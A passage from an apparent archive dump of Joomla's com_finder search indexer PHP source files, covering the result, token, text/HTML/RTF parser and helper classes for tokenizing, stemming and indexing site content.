					$function = 'stem_portuguese';
					break;

				// Romanian stemmer.
				case 'ro':
					$function = 'stem_romanian';
					break;

				// Russian stemmer.
				case 'ru':
					$function = 'stem_russian_unicode';
					break;

				// Swedish stemmer.
				case 'sv':
					$function = 'stem_swedish';
					break;

				// Turkish stemmer.
				case 'tr':
					$function = 'stem_turkish_unicode';
					break;
			}

			// Stem the word if the stemmer method exists.
			$this->cache[$lang][$token] = function_exists($function) ? $function($token) : $token;
		}

		return $this->cache[$lang][$token];
	}
}
com_finder/helpers/indexer/result.php000060400000021021152455305310013773 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('FinderIndexer', __DIR__ . '/indexer.php');

/**
 * Result class for the Finder indexer package.
 *
 * This class uses magic __get() and __set() methods to prevent properties
 * being added that might confuse the system. All properties not explicitly
 * declared will be pushed into the elements array and can be accessed
 * explicitly using the getElement() method.
 *
 * @since  2.5
 */
class FinderIndexerResult
{
	/**
	 * An array of extra result properties.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $elements = array();

	/**
	 * This array tells the indexer which properties should be indexed and what
	 * weights to use for those properties.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $instructions = array(
		FinderIndexer::TITLE_CONTEXT => array('title', 'subtitle', 'id'),
		FinderIndexer::TEXT_CONTEXT  => array('summary', 'body'),
		FinderIndexer::META_CONTEXT  => array('meta', 'list_price', 'sale_price'),
		FinderIndexer::PATH_CONTEXT  => array('path', 'alias'),
		FinderIndexer::MISC_CONTEXT  => array('comments'),
	);

	/**
	 * The indexer will use this data to create taxonomy mapping entries for
	 * the item so that it can be filtered by type, label, category,
	 * or whatever.
	 *
	 * @var    array
	 * @since  2.5
	 */
	protected $taxonomy = array();

	/**
	 * The content URL.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $url;

	/**
	 * The content route.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $route;

	/**
	 * The content title.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $title;

	/**
	 * The content description.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $description;

	/**
	 * The published state of the result.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $published;

	/**
	 * The content published state.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $state;

	/**
	 * The content access level.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $access;

	/**
	 * The content language.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $language = '*';

	/**
	 * The publishing start date.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $publish_start_date;

	/**
	 * The publishing end date.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $publish_end_date;

	/**
	 * The generic start date.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $start_date;

	/**
	 * The generic end date.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $end_date;

	/**
	 * The item list price.
	 *
	 * @var    mixed
	 * @since  2.5
	 */
	public $list_price;

	/**
	 * The item sale price.
	 *
	 * @var    mixed
	 * @since  2.5
	 */
	public $sale_price;

	/**
	 * The content type id. This is set by the adapter.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $type_id;

	/**
	 * The default language for content.
	 *
	 * @var    string
	 * @since  3.0.2
	 */
	public $defaultLanguage;

	/**
	 * Constructor
	 *
	 * @since   3.0.3
	 */
	public function __construct()
	{
		$this->defaultLanguage = JComponentHelper::getParams('com_languages')->get('site', 'en-GB');
	}

	/**
	 * The magic set method is used to push additional values into the elements
	 * array in order to preserve the cleanliness of the object.
	 *
	 * @param   string  $name   The name of the element.
	 * @param   mixed   $value  The value of the element.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function __set($name, $value)
	{
		$this->setElement($name, $value);
	}

	/**
	 * The magic get method is used to retrieve additional element values from the elements array.
	 *
	 * @param   string  $name  The name of the element.
	 *
	 * @return  mixed  The value of the element if set, null otherwise.
	 *
	 * @since   2.5
	 */
	public function __get($name)
	{
		return $this->getElement($name);
	}

	/**
	 * The magic isset method is used to check the state of additional element values in the elements array.
	 *
	 * @param   string  $name  The name of the element.
	 *
	 * @return  boolean  True if set, false otherwise.
	 *
	 * @since   2.5
	 */
	public function __isset($name)
	{
		return isset($this->elements[$name]);
	}

	/**
	 * The magic unset method is used to unset additional element values in the elements array.
	 *
	 * @param   string  $name  The name of the element.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function __unset($name)
	{
		unset($this->elements[$name]);
	}

	/**
	 * Method to retrieve additional element values from the elements array.
	 *
	 * @param   string  $name  The name of the element.
	 *
	 * @return  mixed  The value of the element if set, null otherwise.
	 *
	 * @since   2.5
	 */
	public function getElement($name)
	{
		// Get the element value if set.
		if (array_key_exists($name, $this->elements))
		{
			return $this->elements[$name];
		}

		return null;
	}

	/**
	 * Method to retrieve all elements.
	 *
	 * @return  array  The elements
	 *
	 * @since   3.8.3
	 */
	public function getElements()
	{
		return $this->elements;
	}

	/**
	 * Method to set additional element values in the elements array.
	 *
	 * @param   string  $name   The name of the element.
	 * @param   mixed   $value  The value of the element.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function setElement($name, $value)
	{
		$this->elements[$name] = $value;
	}

	/**
	 * Method to get all processing instructions.
	 *
	 * @return  array  An array of processing instructions.
	 *
	 * @since   2.5
	 */
	public function getInstructions()
	{
		return $this->instructions;
	}

	/**
	 * Method to add a processing instruction for an item property.
	 *
	 * @param   string  $group     The group to associate the property with.
	 * @param   string  $property  The property to process.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function addInstruction($group, $property)
	{
		// Check if the group exists. We can't add instructions for unknown groups.
		// Check if the property exists in the group.
		if (array_key_exists($group, $this->instructions) && !in_array($property, $this->instructions[$group], true))
		{
			// Add the property to the group.
			$this->instructions[$group][] = $property;
		}
	}

	/**
	 * Method to remove a processing instruction for an item property.
	 *
	 * @param   string  $group     The group to associate the property with.
	 * @param   string  $property  The property to process.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function removeInstruction($group, $property)
	{
		// Check if the group exists. We can't remove instructions for unknown groups.
		if (array_key_exists($group, $this->instructions))
		{
			// Search for the property in the group.
			$key = array_search($property, $this->instructions[$group]);

			// If the property was found, remove it.
			if ($key !== false)
			{
				unset($this->instructions[$group][$key]);
			}
		}
	}

	/**
	 * Method to get the taxonomy maps for an item.
	 *
	 * @param   string  $branch  The taxonomy branch to get. [optional]
	 *
	 * @return  array  An array of taxonomy maps.
	 *
	 * @since   2.5
	 */
	public function getTaxonomy($branch = null)
	{
		// Get the taxonomy branch if available.
		if ($branch !== null && isset($this->taxonomy[$branch]))
		{
			// Filter the input.
			$branch = preg_replace('#[^\pL\pM\pN\p{Pi}\p{Pf}\'+-.,_]+#mui', ' ', $branch);

			return $this->taxonomy[$branch];
		}

		return $this->taxonomy;
	}

	/**
	 * Method to add a taxonomy map for an item.
	 *
	 * @param   string   $branch  The title of the taxonomy branch to add the node to.
	 * @param   string   $title   The title of the taxonomy node.
	 * @param   integer  $state   The published state of the taxonomy node. [optional]
	 * @param   integer  $access  The access level of the taxonomy node. [optional]
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function addTaxonomy($branch, $title, $state = 1, $access = 1)
	{
		// Filter the input.
		$branch = preg_replace('#[^\pL\pM\pN\p{Pi}\p{Pf}\'+-.,_]+#mui', ' ', $branch);

		// Create the taxonomy node.
		$node = new JObject;
		$node->title = $title;
		$node->state = (int) $state;
		$node->access = (int) $access;

		// Add the node to the taxonomy branch.
		$this->taxonomy[$branch][$node->title] = $node;
	}

	/**
	 * Method to set the item language
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public function setLanguage()
	{
		if ($this->language == '')
		{
			$this->language = $this->defaultLanguage;
		}
	}
}
com_finder/helpers/indexer/token.php000060400000007657152455305310013620 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * Token class for the Finder indexer package.
 *
 * @since  2.5
 */
class FinderIndexerToken
{
	/**
	 * This is the term that will be referenced in the terms table and the
	 * mapping tables.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $term;

	/**
	 * The stem is used to match the root term and produce more potential
	 * matches when searching the index.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $stem;

	/**
	 * If the token is numeric, it is likely to be short and uncommon so the
	 * weight is adjusted to compensate for that situation.
	 *
	 * @var    boolean
	 * @since  2.5
	 */
	public $numeric;

	/**
	 * If the token is a common term, the weight is adjusted to compensate for
	 * the higher frequency of the term in relation to other terms.
	 *
	 * @var    boolean
	 * @since  2.5
	 */
	public $common;

	/**
	 * Flag for phrase tokens.
	 *
	 * @var    boolean
	 * @since  2.5
	 */
	public $phrase;

	/**
	 * The length is used to calculate the weight of the token.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $length;

	/**
	 * The weight is calculated based on token size and whether the token is
	 * considered a common term.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $weight;

	/**
	 * The simple language identifier for the token.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $language;

	/**
	 * The container for matches.
	 *
	 * @var    array
	 * @since  3.8.12
	 */
	public $matches = array();

	/**
	 * Is derived token (from individual words)
	 *
	 * @var    boolean
	 * @since  3.8.12
	 */
	public $derived;

	/**
	 * The suggested term
	 *
	 * @var    string
	 * @since  3.8.12
	 */
	public $suggestion;

	/**
	 * Method to construct the token object.
	 *
	 * @param   mixed   $term    The term as a string for words or an array for phrases.
	 * @param   string  $lang    The simple language identifier.
	 * @param   string  $spacer  The space separator for phrases. [optional]
	 *
	 * @since   2.5
	 */
	public function __construct($term, $lang, $spacer = ' ')
	{
		$this->language = $lang;

		// Tokens can be a single word or an array of words representing a phrase.
		if (is_array($term))
		{
			// Populate the token instance.
			$this->term = implode($spacer, $term);
			$this->stem = implode($spacer, array_map(array('FinderIndexerHelper', 'stem'), $term, array($lang)));
			$this->numeric = false;
			$this->common = false;
			$this->phrase = true;
			$this->length = StringHelper::strlen($this->term);

			/*
			 * Calculate the weight of the token.
			 *
			 * 1. Length of the token up to 30 and divide by 30, add 1.
			 * 2. Round weight to 4 decimal points.
			 */
			$this->weight = (($this->length >= 30 ? 30 : $this->length) / 30) + 1;
			$this->weight = round($this->weight, 4);
		}
		else
		{
			// Populate the token instance.
			$this->term = $term;
			$this->stem = FinderIndexerHelper::stem($this->term, $lang);
			$this->numeric = (is_numeric($this->term) || (bool) preg_match('#^[0-9,.\-\+]+$#', $this->term));
			$this->common = $this->numeric ? false : FinderIndexerHelper::isCommon($this->term, $lang);
			$this->phrase = false;
			$this->length = StringHelper::strlen($this->term);

			/*
			 * Calculate the weight of the token.
			 *
			 * 1. Length of the token up to 15 and divide by 15.
			 * 2. If common term, divide weight by 8.
			 * 3. If numeric, multiply weight by 1.5.
			 * 4. Round weight to 4 decimal points.
			 */
			$this->weight = ($this->length >= 15 ? 15 : $this->length) / 15;
			$this->weight = $this->common === true ? $this->weight / 8 : $this->weight;
			$this->weight = $this->numeric === true ? $this->weight * 1.5 : $this->weight;
			$this->weight = round($this->weight, 4);
		}
	}
}
com_finder/helpers/indexer/parser/txt.php000060400000001336152455305310014577 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('FinderIndexerParser', dirname(__DIR__) . '/parser.php');

/**
 * Text Parser class for the Finder indexer package.
 *
 * @since  2.5
 */
class FinderIndexerParserTxt extends FinderIndexerParser
{
	/**
	 * Method to process Text input and extract the plain text.
	 *
	 * @param   string  $input  The input to process.
	 *
	 * @return  string  The plain text input.
	 *
	 * @since   2.5
	 */
	protected function process($input)
	{
		return $input;
	}
}
com_finder/helpers/indexer/parser/html.php000060400000010556152455305310014730 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('FinderIndexerParser', dirname(__DIR__) . '/parser.php');

/**
 * HTML Parser class for the Finder indexer package.
 *
 * @since  2.5
 */
class FinderIndexerParserHtml extends FinderIndexerParser
{
	/**
	 * Method to parse input and extract the plain text. Because this method is
	 * called from both inside and outside the indexer, it needs to be able to
	 * batch out its parsing functionality to deal with the inefficiencies of
	 * regular expressions. We will parse recursively in 2KB chunks.
	 *
	 * @param   string  $input  The input to parse.
	 *
	 * @return  string  The plain text input.
	 *
	 * @since   2.5
	 */
	public function parse($input)
	{
		// Strip invalid UTF-8 characters.
		$input = iconv('utf-8', 'utf-8//IGNORE', $input);

		// Remove anything between <head> and </head> tags.  Do this first
		// because there might be <script> or <style> tags nested inside.
		$input = $this->removeBlocks($input, '<head>', '</head>');

		// Convert <style> and <noscript> tags to <script> tags
		// so we can remove them efficiently.
		$search = array(
			'<style', '</style',
			'<noscript', '</noscript',
		);
		$replace = array(
			'<script', '</script',
			'<script', '</script',
		);
		$input = str_replace($search, $replace, $input);

		// Strip all script blocks.
		$input = $this->removeBlocks($input, '<script', '</script>');

		// Decode HTML entities.
		$input = html_entity_decode($input, ENT_QUOTES, 'UTF-8');

		// Convert entities equivalent to spaces to actual spaces.
		$input = str_replace(array('&nbsp;', '&#160;'), ' ', $input);

		// Add a space before both the OPEN and CLOSE tags of BLOCK and LINE BREAKING elements,
		// e.g. 'all<h1><em>m</em>obile  List</h1>' will become 'all mobile  List'
		$input = preg_replace('/(<|<\/)(' .
			'address|article|aside|blockquote|br|canvas|dd|div|dl|dt|' .
			'fieldset|figcaption|figure|footer|form|h1|h2|h3|h4|h5|h6|header|hgroup|hr|li|' .
			'main|nav|noscript|ol|output|p|pre|section|table|tfoot|ul|video' .
			')\b/i', ' $1$2', $input
		);

		// Strip HTML tags.
		$input = strip_tags($input);

		return parent::parse($input);
	}

	/**
	 * Method to process HTML input and extract the plain text.
	 *
	 * @param   string  $input  The input to process.
	 *
	 * @return  string  The plain text input.
	 *
	 * @since   2.5
	 */
	protected function process($input)
	{
		// Replace any amount of white space with a single space.
		return preg_replace('#\s+#u', ' ', $input);
	}

	/**
	 * Method to remove blocks of text between a start and an end tag.
	 * Each block removed is effectively replaced by a single space.
	 *
	 * Note: The start tag and the end tag must be different.
	 * Note: Blocks must not be nested.
	 * Note: This method will function correctly with multi-byte strings.
	 *
	 * @param   string  $input     String to be processed.
	 * @param   string  $startTag  String representing the start tag.
	 * @param   string  $endTag    String representing the end tag.
	 *
	 * @return  string with blocks removed.
	 *
	 * @since   3.4
	 */
	private function removeBlocks($input, $startTag, $endTag)
	{
		$return = '';
		$offset = 0;
		$startTagLength = strlen($startTag);
		$endTagLength = strlen($endTag);

		// Find the first start tag.
		$start = stripos($input, $startTag);

		// If no start tags were found, return the string unchanged.
		if ($start === false)
		{
			return $input;
		}

		// Look for all blocks defined by the start and end tags.
		while ($start !== false)
		{
			// Accumulate the substring up to the start tag.
			$return .= substr($input, $offset, $start - $offset) . ' ';

			// Look for an end tag corresponding to the start tag.
			$end = stripos($input, $endTag, $start + $startTagLength);

			// If no corresponding end tag, leave the string alone.
			if ($end === false)
			{
				// Fix the offset so part of the string is not duplicated.
				$offset = $start;
				break;
			}

			// Advance the start position.
			$offset = $end + $endTagLength;

			// Look for the next start tag and loop.
			$start = stripos($input, $startTag, $offset);
		}

		// Add in the final substring after the last end tag.
		$return .= substr($input, $offset);

		return $return;
	}
}
com_finder/helpers/indexer/parser/rtf.php000060400000002040152455305310014544 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('FinderIndexerParser', dirname(__DIR__) . '/parser.php');

/**
 * RTF Parser class for the Finder indexer package.
 *
 * @since  2.5
 */
class FinderIndexerParserRtf extends FinderIndexerParser
{
	/**
	 * Method to process RTF input and extract the plain text.
	 *
	 * @param   string  $input  The input to process.
	 *
	 * @return  string  The plain text input.
	 *
	 * @since   2.5
	 */
	protected function process($input)
	{
		// Remove embedded pictures.
		$input = preg_replace('#{\\\pict[^}]*}#mi', '', $input);

		// Remove control characters.
		$input = str_replace(array('{', '}', "\\\n"), array(' ', ' ', "\n"), $input);
		$input = preg_replace('#\\\([^;]+?);#m', ' ', $input);
		$input = preg_replace('#\\\[\'a-zA-Z0-9]+#mi', ' ', $input);

		return $input;
	}
}
com_finder/helpers/indexer/helper.php000060400000034247152455305310013752 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

JLoader::register('FinderIndexerParser', __DIR__ . '/parser.php');
JLoader::register('FinderIndexerStemmer', __DIR__ . '/stemmer.php');
JLoader::register('FinderIndexerToken', __DIR__ . '/token.php');

/**
 * Helper class for the Finder indexer package.
 *
 * @since  2.5
 */
class FinderIndexerHelper
{
	/**
	 * The token stemmer object. The stemmer is set by whatever class
	 * wishes to use it but it must be an instance of FinderIndexerStemmer.
	 *
	 * @var		FinderIndexerStemmer
	 * @since	2.5
	 */
	public static $stemmer;

	/**
	 * A state flag, in order to not constantly check if the stemmer is an instance of FinderIndexerStemmer
	 *
	 * @var		boolean
	 * @since	3.7.0
	 */
	protected static $stemmerOK;

	/**
	 * Method to parse input into plain text.
	 *
	 * @param   string  $input   The raw input.
	 * @param   string  $format  The format of the input. [optional]
	 *
	 * @return  string  The parsed input.
	 *
	 * @since   2.5
	 * @throws  Exception on invalid parser.
	 */
	public static function parse($input, $format = 'html')
	{
		// Get a parser for the specified format and parse the input.
		return FinderIndexerParser::getInstance($format)->parse($input);
	}

	/**
	 * Method to tokenize a text string.
	 *
	 * @param   string   $input   The input to tokenize.
	 * @param   string   $lang    The language of the input.
	 * @param   boolean  $phrase  Flag to indicate whether input could be a phrase. [optional]
	 *
	 * @return  array|FinderIndexerToken  An array of FinderIndexerToken objects or a single FinderIndexerToken object.
	 *
	 * @since   2.5
	 */
	public static function tokenize($input, $lang, $phrase = false)
	{
		static $cache;
		$store = StringHelper::strlen($input) < 128 ? md5($input . '::' . $lang . '::' . $phrase) : null;

		// Check if the string has been tokenized already.
		if ($store && isset($cache[$store]))
		{
			return $cache[$store];
		}

		$tokens = array();
		$quotes = html_entity_decode('&#8216;&#8217;&#39;', ENT_QUOTES, 'UTF-8');

		// Get the simple language key.
		$lang = static::getPrimaryLanguage($lang);

		/*
		 * Parsing the string input into terms is a multi-step process.
		 *
		 * Regexes:
		 *  1. Remove everything except letters, numbers, quotes, apostrophe, plus, dash, period, and comma.
		 *  2. Remove plus, dash, period, and comma characters located before letter characters.
		 *  3. Remove plus, dash, period, and comma characters located after other characters.
		 *  4. Remove plus, period, and comma characters enclosed in alphabetical characters. Ungreedy.
		 *  5. Remove orphaned apostrophe, plus, dash, period, and comma characters.
		 *  6. Remove orphaned quote characters.
		 *  7. Replace the assorted single quotation marks with the ASCII standard single quotation.
		 *  8. Remove multiple space characters and replaces with a single space.
		 */
		$input = StringHelper::strtolower($input);
		$input = preg_replace('#[^\pL\pM\pN\p{Pi}\p{Pf}\'+-.,]+#mui', ' ', $input);
		$input = preg_replace('#(^|\s)[+-.,]+([\pL\pM]+)#mui', ' $1', $input);
		$input = preg_replace('#([\pL\pM\pN]+)[+-.,]+(\s|$)#mui', '$1 ', $input);
		$input = preg_replace('#([\pL\pM]+)[+.,]+([\pL\pM]+)#muiU', '$1 $2', $input);
		$input = preg_replace('#(^|\s)[\'+-.,]+(\s|$)#mui', ' ', $input);
		$input = preg_replace('#(^|\s)[\p{Pi}\p{Pf}]+(\s|$)#mui', ' ', $input);
		$input = preg_replace('#[' . $quotes . ']+#mui', '\'', $input);
		$input = preg_replace('#\s+#mui', ' ', $input);
		$input = trim($input);

		// Explode the normalized string to get the terms.
		$terms = explode(' ', $input);

		/*
		 * If we have Unicode support and are dealing with Chinese text, Chinese
		 * has to be handled specially because there are not necessarily any spaces
		 * between the "words". So, we have to test if the words belong to the Chinese
		 * character set and if so, explode them into single glyphs or "words".
		 */
		if ($lang === 'zh')
		{
			// Iterate through the terms and test if they contain Chinese.
			for ($i = 0, $n = count($terms); $i < $n; $i++)
			{
				$charMatches = array();
				$charCount   = preg_match_all('#[\p{Han}]#mui', $terms[$i], $charMatches);

				// Split apart any groups of Chinese characters.
				for ($j = 0; $j < $charCount; $j++)
				{
					$tSplit = StringHelper::str_ireplace($charMatches[0][$j], '', $terms[$i], false);

					if ((bool) $tSplit)
					{
						$terms[$i] = $tSplit;
					}
					else
					{
						unset($terms[$i]);
					}

					$terms[] = $charMatches[0][$j];
				}
			}

			// Reset array keys.
			$terms = array_values($terms);
		}

		/*
		 * If we have to handle the input as a phrase, that means we don't
		 * tokenize the individual terms and we do not create the two and three
		 * term combinations. The phrase must contain more than one word!
		 */
		if ($phrase === true && count($terms) > 1)
		{
			// Create tokens from the phrase.
			$tokens[] = new FinderIndexerToken($terms, $lang);
		}
		else
		{
			// Create tokens from the terms.
			for ($i = 0, $n = count($terms); $i < $n; $i++)
			{
				$tokens[] = new FinderIndexerToken($terms[$i], $lang);
			}

			// Create two and three word phrase tokens from the individual words.
			for ($i = 0, $n = count($tokens); $i < $n; $i++)
			{
				// Setup the phrase positions.
				$i2 = $i + 1;
				$i3 = $i + 2;

				// Create the two word phrase.
				if ($i2 < $n && isset($tokens[$i2]))
				{
					// Tokenize the two word phrase.
					$token          = new FinderIndexerToken(
						array(
							$tokens[$i]->term,
							$tokens[$i2]->term
						), $lang, $lang === 'zh' ? '' : ' '
					);
					$token->derived = true;

					// Add the token to the stack.
					$tokens[] = $token;
				}

				// Create the three word phrase.
				if ($i3 < $n && isset($tokens[$i3]))
				{
					// Tokenize the three word phrase.
					$token          = new FinderIndexerToken(
						array(
							$tokens[$i]->term,
							$tokens[$i2]->term,
							$tokens[$i3]->term
						), $lang, $lang === 'zh' ? '' : ' '
					);
					$token->derived = true;

					// Add the token to the stack.
					$tokens[] = $token;
				}
			}
		}

		if ($store)
		{
			$cache[$store] = count($tokens) > 1 ? $tokens : array_shift($tokens);

			return $cache[$store];
		}
		else
		{
			return count($tokens) > 1 ? $tokens : array_shift($tokens);
		}
	}

	/**
	 * Method to get the base word of a token. This method uses the public
	 * {@link FinderIndexerHelper::$stemmer} object if it is set. If no stemmer is set,
	 * the original token is returned.
	 *
	 * @param   string  $token  The token to stem.
	 * @param   string  $lang   The language of the token.
	 *
	 * @return  string  The root token.
	 *
	 * @since   2.5
	 */
	public static function stem($token, $lang)
	{
		// Trim apostrophes at either end of the token.
		$token = trim($token, '\'');

		// Trim everything after any apostrophe in the token.
		if ($res = explode('\'', $token))
		{
			$token = $res[0];
		}

		if (static::$stemmerOK === true)
		{
			return static::$stemmer->stem($token, $lang);
		}
		else
		{
			// Stem the token if we have a valid stemmer to use.
			if (static::$stemmer instanceof FinderIndexerStemmer)
			{
				static::$stemmerOK = true;

				return static::$stemmer->stem($token, $lang);
			}
		}

		return $token;
	}

	/**
	 * Method to add a content type to the database.
	 *
	 * @param   string  $title  The type of content. For example: PDF
	 * @param   string  $mime   The mime type of the content. For example: PDF [optional]
	 *
	 * @return  integer  The id of the content type.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function addContentType($title, $mime = null)
	{
		static $types;

		$db    = JFactory::getDbo();
		$query = $db->getQuery(true);

		// Check if the types are loaded.
		if (empty($types))
		{
			// Build the query to get the types.
			$query->select('*')
				->from($db->quoteName('#__finder_types'));

			// Get the types.
			$db->setQuery($query);
			$types = $db->loadObjectList('title');
		}

		// Check if the type already exists.
		if (isset($types[$title]))
		{
			return (int) $types[$title]->id;
		}

		// Add the type.
		$query->clear()
			->insert($db->quoteName('#__finder_types'))
			->columns(array($db->quoteName('title'), $db->quoteName('mime')))
			->values($db->quote($title) . ', ' . $db->quote($mime));
		$db->setQuery($query);
		$db->execute();

		// Return the new id.
		return (int) $db->insertid();
	}

	/**
	 * Method to check if a token is common in a language.
	 *
	 * @param   string  $token  The token to test.
	 * @param   string  $lang   The language to reference.
	 *
	 * @return  boolean  True if common, false otherwise.
	 *
	 * @since   2.5
	 */
	public static function isCommon($token, $lang)
	{
		static $data;
		static $default;

		$langCode = $lang;

		// If language requested is wildcard, use the default language.
		if ($default === null && $lang === '*')
		{
			$default = strstr(self::getDefaultLanguage(), '-', true);
			$langCode = $default;
		}

		// Load the common tokens for the language if necessary.
		if (!isset($data[$langCode]))
		{
			$data[$langCode] = self::getCommonWords($langCode);
		}

		// Check if the token is in the common array.
		return in_array($token, $data[$langCode], true);
	}

	/**
	 * Method to get an array of common terms for a language.
	 *
	 * @param   string  $lang  The language to use.
	 *
	 * @return  array  Array of common terms.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function getCommonWords($lang)
	{
		$db = JFactory::getDbo();

		// Create the query to load all the common terms for the language.
		$query = $db->getQuery(true)
			->select($db->quoteName('term'))
			->from($db->quoteName('#__finder_terms_common'))
			->where($db->quoteName('language') . ' = ' . $db->quote($lang));

		// Load all of the common terms for the language.
		$db->setQuery($query);

		return $db->loadColumn();
	}

	/**
	 * Method to get the default language for the site.
	 *
	 * @return  string  The default language string.
	 *
	 * @since   2.5
	 */
	public static function getDefaultLanguage()
	{
		static $lang;

		// We need to go to com_languages to get the site default language, it's the best we can guess.
		if (empty($lang))
		{
			$lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB');
		}

		return $lang;
	}

	/**
	 * Method to parse a language/locale key and return a simple language string.
	 *
	 * @param   string  $lang  The language/locale key. For example: en-GB
	 *
	 * @return  string  The simple language string. For example: en
	 *
	 * @since   2.5
	 */
	public static function getPrimaryLanguage($lang)
	{
		static $data;

		// Only parse the identifier if necessary.
		if (!isset($data[$lang]))
		{
			if (is_callable(array('Locale', 'getPrimaryLanguage')))
			{
				// Get the language key using the Locale package.
				$data[$lang] = Locale::getPrimaryLanguage($lang);
			}
			else
			{
				// Get the language key using string position.
				$data[$lang] = StringHelper::substr($lang, 0, StringHelper::strpos($lang, '-'));
			}
		}

		return $data[$lang];
	}

	/**
	 * Method to get the path (SEF route) for a content item.
	 *
	 * @param   string  $url  The non-SEF route to the content item.
	 *
	 * @return  string  The path for the content item.
	 *
	 * @since       2.5
	 * @deprecated  4.0
	 */
	public static function getContentPath($url)
	{
		static $router;

		// Only get the router once.
		if (!($router instanceof JRouter))
		{
			// Get and configure the site router.
			$config = JFactory::getConfig();
			$router = JRouter::getInstance('site');
			$router->setMode($config->get('sef', 1));
		}

		// Build the relative route.
		$uri   = $router->build($url);
		$route = $uri->toString(array('path', 'query', 'fragment'));
		$route = str_replace(JUri::base(true) . '/', '', $route);

		return $route;
	}

	/**
	 * Method to get extra data for a content before being indexed. This is how
	 * we add Comments, Tags, Labels, etc. that should be available to Finder.
	 *
	 * @param   FinderIndexerResult  $item  The item to index as a FinderIndexerResult object.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function getContentExtras(FinderIndexerResult $item)
	{
		// Get the event dispatcher.
		$dispatcher = JEventDispatcher::getInstance();

		// Load the finder plugin group.
		JPluginHelper::importPlugin('finder');

		// Trigger the event.
		$results = $dispatcher->trigger('onPrepareFinderContent', array(&$item));

		// Check the returned results. This is for plugins that don't throw
		// exceptions when they encounter serious errors.
		if (in_array(false, $results))
		{
			throw new Exception($dispatcher->getError(), 500);
		}

		return true;
	}

	/**
	 * Method to process content text using the onContentPrepare event trigger.
	 *
	 * @param   string               $text    The content to process.
	 * @param   Registry             $params  The parameters object. [optional]
	 * @param   FinderIndexerResult  $item    The item which get prepared. [optional]
	 *
	 * @return  string  The processed content.
	 *
	 * @since   2.5
	 */
	public static function prepareContent($text, $params = null, FinderIndexerResult $item = null)
	{
		static $loaded;

		// Get the dispatcher.
		$dispatcher = JEventDispatcher::getInstance();

		// Load the content plugins if necessary.
		if (empty($loaded))
		{
			JPluginHelper::importPlugin('content');
			$loaded = true;
		}

		// Instantiate the parameter object if necessary.
		if (!($params instanceof Registry))
		{
			$registry = new Registry($params);
			$params = $registry;
		}

		// Create a mock content object.
		$content       = JTable::getInstance('Content');
		$content->text = $text;

		if ($item)
		{
			$content->bind((array) $item);
			$content->bind($item->getElements());
		}

		if ($item && !empty($item->context))
		{
			$content->context = $item->context;
		}

		// Fire the onContentPrepare event.
		$dispatcher->trigger('onContentPrepare', array('com_finder.indexer', &$content, &$params, 0));

		return $content->text;
	}
}
com_finder/helpers/indexer/adapter.php000060400000052672152455305310014115 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

JLoader::register('FinderIndexer', __DIR__ . '/indexer.php');
